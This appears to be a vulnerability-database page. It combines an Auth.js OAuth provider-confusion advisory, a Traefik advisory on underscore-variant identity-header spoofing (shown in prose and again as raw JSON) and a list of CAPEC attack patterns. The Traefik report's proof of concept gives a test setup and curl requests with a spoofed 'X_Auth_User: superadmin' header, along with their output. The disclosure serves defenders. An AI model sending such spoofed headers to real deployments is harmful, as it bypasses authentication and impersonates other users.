GHSA-X445-F3H2-J279
Vulnerability from github – Published: 2026-07-23 14:31 – Updated: 2026-07-23 14:31Summary
Auth.js stores the OAuth/OIDC anti-CSRF checks (state, nonce, and the PKCE verifier) in global cookies that are not bound to the provider that created them. On callback, a check value minted during a sign-in started with one provider can satisfy the callback for a different provider, because the stored cookie is not verified against the callback provider's identity (provider id, issuer, client id, or redirect URI). In a multi-provider app that allows account linking while logged in, this provider-confusion / mix-up condition can let an attacker link their account at a second provider to a victim's user.
Am I affected?
You may be affected if all of the following hold:
- You use
next-auth<= 4.24.14or>= 5.0.0-beta.1, <= 5.0.0-beta.31, or@auth/core<= 0.41.2. - You configure multiple OAuth/OIDC providers.
- You allow users to link additional providers while logged in.
- At least one configured provider's authorization request is observable by an attacker, and at least one target provider's callback can be satisfied without a PKCE verifier (i.e. it relies only on
stateor only onnonce).
You are not affected if you use a single OAuth provider, do not allow logged-in account linking, or all providers enforce PKCE.
Impact
- Account-linking confusion: an attacker can get their account at a target provider linked to the victim's Auth.js user, granting the attacker persistent sign-in to the victim's account through that linked provider.
- Exploitation requires luring the victim into starting a legitimate same-origin flow; it cannot be performed by cross-site request forgery alone, which reduces practical likelihood.
Patched version
The fix binds the OAuth check cookies to the provider/authorization flow that created them, so a callback cannot consume a check value minted for a different provider. Upgrade to the first releases containing this fix (pending; this advisory will be updated with exact patched versions before publication).
Workarounds
If you cannot upgrade immediately:
- Enable PKCE (
checks: ["pkce"], in addition tostate/nonce) on every provider that supports it; PKCE blocks the practical code-swap variant because the attacker cannot observe the relying party's verifier. - Avoid offering logged-in account linking across multiple providers where one provider is lower-trust or attacker-observable.
- Treat
events.linkAccountas sensitive: add audit logging, user notification, or out-of-band confirmation so that any unexpected link is visible (defense-in-depth, not a root-cause fix).

Vulnerability from github – Published: 2026-08-06 16:53 – Updated: 2026-08-06 16:53Summary
There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth
middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers
(e.g. X-Auth-User) before writing Traefik's own value, but did not account for
underscore-variant header names (e.g. X_Auth_User), which many backends normalize
identically to the dashed form. An attacker able to reach a protected route could inject
an underscore-variant header that survives Traefik's stripping and reaches the backend
alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of
— the value Traefik intended to set, spoofing identity or authorization context. This is
fixed by setting the new allowHeadersWithUnderscores: false entry point option, which
strips all headers with underscores in their names before routing.

Original Description # Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth ## Summary The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go's `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator — so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.). However, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del("X-Auth-User")` intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` ↔ `-` equivalently or expose both forms to application code that may read the attacker's value. This is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim: > "When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials." The same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: "X-Auth-User"` config and reproduced the bypass with a single `curl -H "X_Auth_User: superadmin" ...` request alongside valid BasicAuth credentials. The defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`: 1. `pkg/middlewares/auth/basic_auth.go:101-105` — BasicAuth `headerField` 2. `pkg/middlewares/auth/digest_auth.go:99-103` — DigestAuth `headerField` 3. `pkg/middlewares/auth/forward.go:304-310` — ForwardAuth `authResponseHeaders` per-name writeback 4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` — Ingress-NGINX snippet `authResponseHeaders` per-name writeback The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens. The fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write. ## Affected versions - `traefik` v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture. The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the `Del` line but the literal-key write defect-class survives for underscore variants). ## Root cause In `pkg/middlewares/auth/basic_auth.go` at HEAD `eec68dc`:if b.headerField != "" {
// TODO Deprecated we should add the header with canonical key.
req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}
}
func isManagedXHeader(key string) bool {
if len(key) == 0 || key[0] != 'X' { return false }
if _, ok := XHeadersSet[key]; ok { return true }
if strings.IndexByte(key, '_') < 0 { return false }
canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "_", "-"))
_, ok := XHeadersSet[canonical]
return ok

"details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s BasicAuth, DigestAuth, and ForwardAuth\nmiddlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers\n(e.g. `X-Auth-User`) before writing Traefik\u0027s own value, but did not account for\nunderscore-variant header names (e.g. `X_Auth_User`), which many backends normalize\nidentically to the dashed form. An attacker able to reach a protected route could inject\nan underscore-variant header that survives Traefik\u0027s stripping and reaches the backend\nalongside \u2014 or, on the unauthenticated ForwardAuth `authResponseHeaders` path, instead of\n\u2014 the value Traefik intended to set, spoofing identity or authorization context. This is\nfixed by setting the new `allowHeadersWithUnderscores: false` entry point option, which\nstrips all headers with underscores in their names before routing.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.51\n- https://github.com/traefik/traefik/releases/tag/v3.6.22\n- https://github.com/traefik/traefik/releases/tag/v3.7.6\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth\n\n## Summary\n\nThe fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, \"BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField\", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go\u0027s `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator \u2014 so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.).\n\nHowever, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del(\"X-Auth-User\")` intact and are forwarded to the backend alongside Traefik\u0027s own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` \u2194 `-` equivalently or expose both forms to application code that may read the attacker\u0027s value.\n\nThis is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, \"Forwarded alias spoofing pre-auth decision bypass\"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim:\n\n\u003e \"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context \u2014 such as a trusted scheme or host \u2014 through the alias headers and bypass authentication on protected routes without valid credentials.\"\n\nThe same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: \"X-Auth-User\"` config and reproduced the bypass with a single `curl -H \"X_Auth_User: superadmin\" ...` request alongside valid BasicAuth credentials.\n\nThe defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`:\n\n1. `pkg/middlewares/auth/basic_auth.go:101-105` \u2014 BasicAuth `headerField`\n2. `pkg/middlewares/auth/digest_auth.go:99-103` \u2014 DigestAuth `headerField`\n3. `pkg/middlewares/auth/forward.go:304-310` \u2014 ForwardAuth `authResponseHeaders` per-name writeback\n4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` \u2014 Ingress-NGINX snippet `authResponseHeaders` per-name writeback\n\nThe ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.\n\nThe fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write.\n\n## Affected versions\n\n- `traefik` v3.6.x \u2264 3.6.14, v3.7.x \u2264 3.7.0-rc.2, v2.11.x \u2264 2.11.43, and all earlier versions sharing the same auth middleware architecture.\n\nThe defect is present at HEAD post-CVE-2026-33433 fix (the fix added the `Del` line but the literal-key write defect-class survives for underscore variants).\n\n## Root cause\n\nIn `pkg/middlewares/auth/basic_auth.go` at HEAD `eec68dc`:\n\n```go\nif b.headerField != \"\" {\n // TODO Deprecated we should add the header with canonical key.\n req.Header.Del(b.headerField)\n req.Header[b.headerField] = []string{user}\n}\n```\n\nThe TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current `Del` + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.\n\n`pkg/middlewares/auth/digest_auth.go:99-103` and the two ForwardAuth paths follow the same `Del` + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.\n\nThe maintainer\u0027s gold-standard primitive for handling this exact threat class is `pkg/middlewares/forwardedheaders/forwarded_header.go:53-66`:\n\n```go\nfunc isManagedXHeader(key string) bool {\n if len(key) == 0 || key[0] != \u0027X\u0027 { return false }\n if _, ok := XHeadersSet[key]; ok { return true }\n if strings.IndexByte(key, \u0027_\u0027) \u003c 0 { return false }\n canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, \"_\", \"-\"))\n _, ok := XHeadersSet[canonical]\n return ok\n}\n```\n\nThis treats `_` \u2194 `-` equivalence as a security requirement. It is reachable only via the static `XHeadersSet` membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.\n\n## Proof of concept\n\nVerified on `traefik:v3.6.14` (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/\u003cattacker-repo\u003e/traefik-ht1a-poc; commands below are verbatim.\n\n### Setup\n\n```yaml\n# docker-compose.yml\nservices:\n traefik:\n image: traefik:v3.6.14\n command:\n - --providers.file.filename=/etc/traefik/dynamic.yml\n - --entrypoints.web.address=:80\n ports:\n - \"8080:80\"\n volumes:\n - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro\n echo:\n image: mendhak/http-https-echo:36\n environment:\n - HTTP_PORT=8888\n```\n\n```yaml\n# traefik/dynamic.yml \u2014 canonical headerField, recommended operator config\nhttp:\n routers:\n protected:\n rule: \"PathPrefix(`/`)\"\n service: echo\n middlewares: [basic-auth]\n services:\n echo:\n loadBalancer:\n servers: [{url: \"http://echo:8888\"}]\n middlewares:\n basic-auth:\n basicAuth:\n users:\n - \u0027alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC\u0027 # alice:secret123\n headerField: \"X-Auth-User\"\n```\n\n`docker compose up -d`.\n\n### Test 1 (control \u2014 CVE-2026-33433 fix works for canonical case)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X-Auth-User: superadmin\" http://localhost:8080/\n{\n ...\n \"x-auth-user\": \"alice\",\n ...\n}\n```\n\nThe attacker\u0027s canonical `X-Auth-User: superadmin` was correctly stripped by Traefik\u0027s `Del`; the backend receives only Traefik\u0027s authenticated-user writeback `alice`.\n\n### Test 2 (HT-1A bypass \u2014 underscore variant survives)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X_Auth_User: superadmin\" http://localhost:8080/\n{\n ...\n \"x-auth-user\": \"alice\",\n \"x_auth_user\": \"superadmin\",\n ...\n}\n```\n\nThe underscore-variant `x_auth_user: superadmin` reached the backend intact, despite the `Del(\"X-Auth-User\")` having executed. The backend sees both forms.\n\n### Test 3 (double-send \u2014 same result)\n\n```bash\n$ curl -s -u alice:secret123 \\\n -H \"X-Auth-User: superadmin\" \\\n -H \"X_Auth_User: superadmin\" \\\n http://localhost:8080/\n{\n ...\n \"x-auth-user\": \"alice\", # Traefik\u0027s writeback\n \"x_auth_user\": \"superadmin\", # attacker\u0027s underscore \u2014 survived Del\n ...\n}\n```\n\nThe canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.\n\n### Backend impact\n\nThe PoC\u0027s echo backend (`mendhak/http-https-echo`, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading `req.headers[\"x-auth-user\"]` sees `alice`. Application code reading `req.headers[\"x_auth_user\"]` sees `superadmin`.\n\nFor backends that normalize `_` \u2194 `-` equivalently \u2014 meaning the attacker\u0027s value wins:\n\n- **CGI / WSGI / PHP `$_SERVER`** (RFC 3875 \u00a74.1.18 \u2014 header name uppercased with `-` replaced by `_`): both `X-Auth-User` and `X_Auth_User` map to `HTTP_X_AUTH_USER`. The last-set wins per the WSGI server\u0027s iteration order; many servers (gunicorn, uwsgi without `--disable-logging`, waitress) preserve both. Note: Apache + mod_php with default `HttpProtocolOptions Strict` filters underscore-headers from `$_SERVER` (this PoC\u0027s PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter.\n- **nginx with `underscores_in_headers on`** (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them.\n- **Tomcat / Java EE servlet containers**: `HttpServletRequest.getHeader(name)` is case-insensitive; underscore handling is container-specific. Many normalize.\n- **Application middleware** (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.\n\n## Severity\n\nI propose **HIGH CVSS 7.5** for the BasicAuth / DigestAuth case and **CRITICAL CVSS 9.1** for the ForwardAuth `authResponseHeaders` case (the latter requires no credentials).\n\n**CVSS 3.1 vector (BasicAuth / DigestAuth)**: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5` \u2014 one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical `headerField`). HT-1A works against the canonical / recommended `headerField` configuration, broader operational scope.\n\n**CVSS 3.1 vector (ForwardAuth `authResponseHeaders`)**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1` \u2014 parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the `authResponseHeaders` mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.\n\nCWEs:\n- CWE-290 (Authentication Bypass by Spoofing)\n- CWE-178 (Improper Handling of Case Sensitivity) \u2014 analogous to CVE-2026-29054\n- CWE-345 (Insufficient Verification of Data Authenticity) \u2014 same as CVE-2026-35051\n\n## Suggested fix\n\nTwo equivalent approaches:\n\n**1. Extend `Header.Del` to handle underscore variants** at the four call sites. Replace:\n\n```go\nreq.Header.Del(b.headerField)\nreq.Header[b.headerField] = []string{user}\n```\n\nwith:\n\n```go\ncanonical := http.CanonicalHeaderKey(b.headerField)\n// Strip canonical AND underscore-variant of the canonical key.\nfor key := range req.Header {\n if key == canonical || strings.EqualFold(strings.ReplaceAll(key, \"_\", \"-\"), canonical) {\n delete(req.Header, key)\n }\n}\nreq.Header.Set(canonical, user) // canonical-key write\n```\n\nThis pairs the headerField primitive with the same `_` \u2194 `-` equivalence that `isManagedXHeader` enforces for X-Forwarded-*.\n\n**2. Generalize the existing `isManagedXHeader` primitive** into a `stripHeaderAndVariants(headers http.Header, name string)` helper in the `forwardedheaders` package and call it from `basic_auth.go`, `digest_auth.go`, `forward.go`, and `snippet.go`. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.\n\nEither approach should also resolve the `// TODO Deprecated we should add the header with canonical key.` debt at `basic_auth.go:102` and `digest_auth.go:100` by writing to the canonical key (`Header.Set(canonical, user)`) instead of the literal `b.headerField`.\n\n## Why this is a Pattern-8 sibling, not a new CVE class\n\nThe combination of:\n\n1. CVE-2026-33433\u0027s fix scope (case-canonicalization for `headerField`)\n2. CVE-2026-39858\u0027s fix scope (underscore-variant for `XHeadersSet`)\n3. The defective primitive remaining at HEAD (the `Del` + literal-write pair at four call sites)\n\nestablishes that the maintainer accepts the threat model and has architectural primitives to fix it \u2014 but did not cross the two cohorts. The \"primitive depth-audit\" of the CVE-2026-33433 fix (reading the actual `Header.Del` implementation against the documented threat model and Go\u0027s canonicalization semantics) reveals the gap.\n\nI confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.\n\n## Credit\n\nMatteo Panzeri (GitHub `matte1782`).

No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.
